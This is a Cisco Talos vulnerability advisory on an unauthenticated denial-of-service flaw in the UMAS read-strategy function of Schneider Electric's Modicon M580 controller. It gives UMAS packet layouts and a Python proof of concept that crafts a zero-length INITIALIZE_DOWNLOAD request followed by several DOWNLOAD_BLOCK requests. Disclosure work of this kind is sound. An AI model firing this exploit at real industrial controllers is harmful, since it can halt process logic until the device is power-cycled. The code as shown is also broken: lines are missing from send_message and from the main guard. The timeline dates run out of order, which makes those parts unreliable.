Talos Vulnerability Report


Schneider Electric Modicon M580 UMAS read strategy denial-of-service vulnerability

August 13, 2019
CVE Number



An exploitable denial-of-service vulnerability exists in the UMAS read strategy functionality of the Schneider Electric Modicon M580 programmable automation controller, firmware version SV2.70. A specially crafted set of UMAS commands can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs


CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H


CWE-248: Uncaught Exception


The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as “UMAS.”

When attempting to read the Modicon M580’s programmed strategy, two UMAS commands - INITIALIZE_DOWNLOAD and DOWNLOAD_BLOCK - are used to initialize the operation and request blocks from the device, respectively. During normal operation the amount of data to read from each block is defined via a length field in the INITIALIZE_DOWNLOAD request.

When this field is changed to contain a much smaller value - such as 0x00 or 0x01 - and at least four blocks are requested, the device enters a non-recoverable fault state. In this state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

The structure of a INITIALIZE_DOWNLOAD command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
0 | A | B | C |   D   |   E   |

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x33)
D --> Unknown              (0x0001)
E --> Block Length         (0x0000)

The structure of a DOWNLOAD_BLOCK command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
0 | A | B | C |   D   |   E   |

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x34)
D --> Unknown              (0x0001)
E --> Block Number         

Exploit Proof of Concept

import struct
import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse

def send_message(sock, umas, data=None, wait_for_response=True):
	if data == None:
		packet = ModbusADURequest(transId=1)/umas
		packet = ModbusADURequest(transId=1)/umas/data
	msg = "%s" % Raw(packet)
	resp = ""
	if wait_for_response:
		resp = sock.recv(2048)
	return resp

def main():
	rhost = ""
	rport = 502

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((rhost, rport))

	# send Initialize Download request with null BlockLen
	mbtcpFnc = "\x5a"
	session = "\x00"
	umasFnc = "\x33"
	unknown = "\x00\x01"
	blockLen = "\x00\x00" 
	umas = "%s%s%s%s%s" % (mbtcpFnc, session, umasFnc, unknown, blockLen)
	send_message(sock=s, umas=umas)

	# send at least 4 Download Block Requests
	umasFnc = "\x34"
	for i in xrange(4):
		blockNum = struct.pack("<H", i)
		umas = "%s%s%s%s%s" % (mbtcpFnc, session, umasFnc, unknown, blockNum)
		send_message(sock=s, umas=umas, wait_for_response=False)

	# clean up

if __name__ == '__main__':


2019-02-06 - Vendor Disclosure
2019-03-28 - 2nd copy of report issued to vendor
2019-04-08 - Vendor opened new case for report>
2019-01-14 - Vendor provided inquiries to reports
2019-01-23 - Cisco Talos Researcher provided responses to vendor inquiries
2019-08-13 - Vendor Patched; Public Release


Discovered by Jared Rittle of Cisco Talos.